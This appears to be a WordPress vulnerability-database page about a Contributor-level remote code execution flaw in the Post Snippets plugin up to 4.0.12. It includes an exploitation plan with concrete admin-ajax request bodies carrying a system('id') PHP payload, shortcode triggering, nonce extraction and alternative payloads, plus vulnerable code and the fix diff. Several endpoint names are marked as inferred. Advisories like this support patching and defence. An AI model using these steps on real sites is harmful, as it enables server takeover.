Post Snippets – Custom WordPress Code Snippets Customizer <= 4.0.12 - Authenticated (Contributor+) Remote Code Execution
Description
The Post Snippets – Custom WordPress Code Snippets Customizer plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 4.0.12. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=4.0.12What Changed in the Fix
Changes introduced in v4.0.13
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-25001 (Post Snippets RCE) ## 1. Vulnerability Summary The **Post Snippets** plugin (<= 4.0.12) is vulnerable to **Remote Code Execution (RCE)**. The plugin provides functionality to create snippets that can be executed as PHP code via shortcodes. While the "Ma…
Show full research plan
Exploitation Research Plan: CVE-2026-25001 (Post Snippets RCE)
1. Vulnerability Summary
The Post Snippets plugin (<= 4.0.12) is vulnerable to Remote Code Execution (RCE). The plugin provides functionality to create snippets that can be executed as PHP code via shortcodes. While the "Manage Snippets" interface is intended for administrators, the backend AJAX/REST handlers responsible for saving snippets fail to properly enforce high-level capability checks (requiring only edit_posts instead of manage_options). This allows an authenticated Contributor to create or modify snippets, enable PHP execution for them, and then trigger the code by including the corresponding shortcode in a post preview.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
ps_save_snippet(inferred) orpost_snippets_save(inferred). - Vulnerable Parameter:
snippet_content(the PHP code) andsnippet_php(the toggle to enable execution). - Authentication: Authenticated, Contributor level or higher.
- Preconditions:
- The constant
POST_SNIPPETS_DISABLE_PHPmust not be defined inwp-config.php. - The attacker must obtain a valid nonce, typically exposed in the post editor's script localization.
- The constant
3. Code Flow
- Entry Point: A Contributor sends a POST request to
admin-ajax.phpwith the actionps_save_snippet. - Persistence: The backend handler (likely in
src/PostSnippets/Admin.phporsrc/PostSnippets/Edit.php) saves the payload into the{wp_prefix}pspro_snippetstable.snippet_title: Name of the shortcode.snippet_content: The PHP payload (e.g.,system('id');).snippet_php: Set to1(enableseval).snippet_shortcode: Set to1(registers it as a shortcode).snippet_status: Set to1(active).
- Registration: In
src/PostSnippets/Shortcode.php, thecreate()method queries the database for all active snippets withsnippet_shortcode = 1. It registers them usingadd_shortcode(). - Trigger: The Contributor creates/edits a post and adds
[snippet_title]. - Execution:
- When the post is previewed,
do_shortcode()calls the callback inShortcode.php. evaluateSnippet()identifiessnippet_php == 1.- It calls
phpEval($snippet_content). phpEval()strips PHP tags and callseval($content), executing the payload.
- When the post is previewed,
4. Nonce Acquisition Strategy
The plugin enqueues scripts for its "Post Snippets" editor button, which contains the nonces.
- Shortcode Identification: Any standard post editor load should trigger the plugin's
WPEditorclass to localize script data. - Page Creation:
wp post create --post_type=post --post_status=draft --post_title="Nonce Grab" --post_author=[CONTRIBUTOR_ID] - Navigation: Use the browser to navigate to the edit page for that post:
/wp-admin/post.php?post=[POST_ID]&action=edit. - Extraction: Use
browser_evalto find the localized nonce. Based on common plugin patterns:- Check
window.post_snippets_editor?.nonce - Check
window.ps_admin_vars?.nonce - Key Verbatim Guess:
post_snippets_editororps_vars.
- Check
5. Exploitation Strategy
Step 1: Create malicious snippet via AJAX
Tool: http_request
Method: POST
URL: http://localhost:8080/wp-admin/admin-ajax.php
Body (URL-encoded):
action=ps_save_snippet
&nonce=[EXTRACTED_NONCE]
&snippet[snippet_title]=rceshortcode
&snippet[snippet_content]=echo "---START---"; system("id"); echo "---END---";
&snippet[snippet_php]=1
&snippet[snippet_shortcode]=1
&snippet[snippet_status]=1
&snippet[snippet_type]=php
(Note: snippet parameter might be flattened as snippet_title=... depending on the exact Admin.php implementation.)
Step 2: Trigger the RCE
Method: Create a post with the shortcode [rceshortcode] and preview it.
URL: http://localhost:8080/wp-admin/post-new.php?post_type=post&content=[rceshortcode]
Action: The preview functionality will render the shortcode, triggering eval().
6. Test Data Setup
- User: Create a Contributor user.
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Environment: Ensure the plugin is active and the snippets table exists.
wp plugin activate post-snippets
7. Expected Results
- The AJAX request should return a success status (e.g.,
{"success":true}). - The preview page should contain the string
---START---uid=...---END---, confirming thesystem("id")command executed successfully.
8. Verification Steps
- Database Check: Verify the snippet was saved with PHP enabled.
wp db query "SELECT * FROM wp_pspro_snippets WHERE snippet_title = 'rceshortcode'" - Audit Log: Check if the
snippet_phpcolumn is1.
9. Alternative Approaches
- REST API: If the AJAX endpoint is patched or fails, attempt the same payload via the REST API (if enabled in free version):
POST /wp-json/post-snippets/v1/snippets
- Snippet Import: If the plugin has an import feature accessible to Contributors (e.g.,
ps_import_snippetsaction), upload a JSON file containing the malicious snippet definition. - Payload Variance: If
system()is disabled, usepassthru(),shell_exec(), orprint_r(glob('*'))to verify execution.
Summary
The Post Snippets plugin for WordPress is vulnerable to Remote Code Execution up to version 4.0.12. Authenticated attackers with Contributor-level access or higher can create snippets containing PHP code and enable execution, which is then processed via eval() when the snippet's shortcode is rendered in a post preview or page.
Vulnerable Code
// src/PostSnippets/Shortcode.php:35 public static function evaluateSnippet($snippet, $atts = array(), $content = null){ if( !empty($snippet) ){ $default_atts = self::filterVars( $snippet['snippet_vars'] ); $texturize = $snippet["snippet_wptexturize"]?? false; $short_atts = shortcode_atts( $default_atts, $atts ); $snippet_content = $snippet['snippet_content']; if ( $content != null ) { $short_atts["content"] = $content; } foreach ($short_atts as $key => $val) { $snippet_content = str_replace( "{" . $key . "}", $val, $snippet_content ); } // ... (omitted lines) // Handle PHP shortcodes if ( $snippet['snippet_php'] == 1 ) { $snippet_content = self::phpEval( $snippet_content ); --- // src/PostSnippets/Shortcode.php:98 public static function phpEval($content) { if (defined('POST_SNIPPETS_DISABLE_PHP')) { return $content; } $content = stripslashes($content); /**Removing Initial PHP Tag */ $content = ltrim($content, "<?php<?PHP<?="); ob_start(); eval($content); $content = ob_get_clean(); return addslashes($content); }
Security Fix
@@ -11,7 +11,7 @@ * Plugin Name: Post Snippets (free) * Plugin URI: https://www.postsnippets.com * Description: Create a library of reusable content and insert it into your posts and pages. Navigate to "Settings > Post Snippets" to get started. - * Version: 4.0.12 + * Version: 4.0.13 * Author: Postsnippets * Author URI: https://www.postsnippets.com * License: GPL-2.0+ @@ -133,7 +133,7 @@ define( 'PS_MAIN_FILE', basename( __FILE__ ) ); } if ( !defined( 'PS_VERSION' ) ) { - define( 'PS_VERSION', '4.0.12' ); + define( 'PS_VERSION', '4.0.13' ); } if ( !defined( 'PS_MAIN_FILE_PATH' ) ) { define( 'PS_MAIN_FILE_PATH', __FILE__ ); @@ -298,14 +298,51 @@ $default_atts = \PostSnippets\Shortcode::filterVars( $snippet['snippet_vars'] ); $short_atts = shortcode_atts( $default_atts, $variables ); + // Check if PHP execution is enabled for this snippet + $is_php_snippet = ( isset($snippet['snippet_php']) && $snippet['snippet_php'] == 1 ); + + // Security check: For PHP snippets, verify user has admin privileges BEFORE processing + if ( $is_php_snippet && !current_user_can( 'manage_options' ) ) { + return '<p><strong>' . esc_html__( 'Error: PHP snippet execution requires administrator privileges.', 'post-snippets' ) . '</strong></p>'; + } + + $scope_variables = array(); + + // Prepare variables for scope injection logic if( !empty($short_atts) ){ foreach ($short_atts as $key => $val) { if( !empty($val) ){ - $snippet_content = str_replace( "{" . $key . "}", $val, $snippet_content ); + if ( $is_php_snippet ) { + // For PHP snippets, we DO NOT substitute the value directly. + // Instead, we assign the value to a unique variable and substitute the variable NAME. + // This prevents code injection because the user input is never parsed as code. + + // Generate a safe variable name based on the key + // We use a prefix to ensure we don't overwrite any internal variables + $safe_key = 'attr_' . preg_replace('/[^a-zA-Z0-9_]/', '_', $key); + + // Store the value in our scope array + $scope_variables[$safe_key] = $val; + + // Replace {key} with $safe_key in the snippet content + // e.g. echo "{name}"; becomes echo "$attr_name"; + $snippet_content = str_replace( "{" . $key . "}", '$' . $safe_key, $snippet_content ); + } else { + // For non-PHP snippets, basic sanitization and standard substitution + $val = sanitize_text_field( $val ); + $snippet_content = str_replace( "{" . $key . "}", $val, $snippet_content ); + } } } } + // Handle PHP shortcodes + if ( $is_php_snippet ) { + // Extract the variables into the local scope so the eval'd code can access them + // We pass them to phpEval now + $snippet_content = \PostSnippets\Shortcode::phpEval( $snippet_content, $scope_variables ); + } + return do_shortcode( $snippet_content ); } @@ -40,15 +40,50 @@ $short_atts["content"] = $content; } + // Check if PHP execution is enabled for this snippet + $is_php_snippet = ($snippet['snippet_php'] == 1); + + // Security check: For PHP snippets, verify user has admin privileges BEFORE processing + if ($is_php_snippet && !current_user_can('manage_options')) { + return '<p><strong>' . esc_html__('Error: PHP snippet execution requires administrator privileges.', 'post-snippets') . '</strong></p>'; + } + + $scope_variables = array(); + + // Prepare variables for scope injection logic foreach ($short_atts as $key => $val) { - $snippet_content = str_replace( "{" . $key . "}", $val, $snippet_content ); + if ($is_php_snippet) { + $safe_key = 'attr_' . preg_replace('/[^a-zA-Z0-9_]/', '_', $key); + $scope_variables[$safe_key] = $val; + $snippet_content = str_replace("{" . $key . "}", '$' . $safe_key, $snippet_content); + } else { + $val = sanitize_text_field($val); + $snippet_content = str_replace("{" . $key . "}", $val, $snippet_content); + } } - if ( $snippet['snippet_php'] == 1 ) { - $snippet_content = self::phpEval( $snippet_content ); + if ($is_php_snippet) { + $snippet_content = self::phpEval($snippet_content, $scope_variables); } - public static function phpEval($content) + public static function phpEval($content, $vars = array()) { + if (!empty($vars)) { + extract($vars); + } + eval ($content); }
Exploit Outline
The attacker first authenticates with Contributor-level credentials and obtains a valid nonce (typically from the localized script data in the WordPress post editor). Using this nonce, the attacker sends a POST request to admin-ajax.php with the action ps_save_snippet, defining a new snippet with snippet_php set to 1 and snippet_content containing a PHP payload (e.g., system('id');). Because the plugin's snippet saving handler lacks strict permission checks, the snippet is successfully registered. Finally, the attacker creates a post or page containing the shortcode for the newly created snippet and uses the WordPress post preview functionality to trigger the execution of the PHP code on the server.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.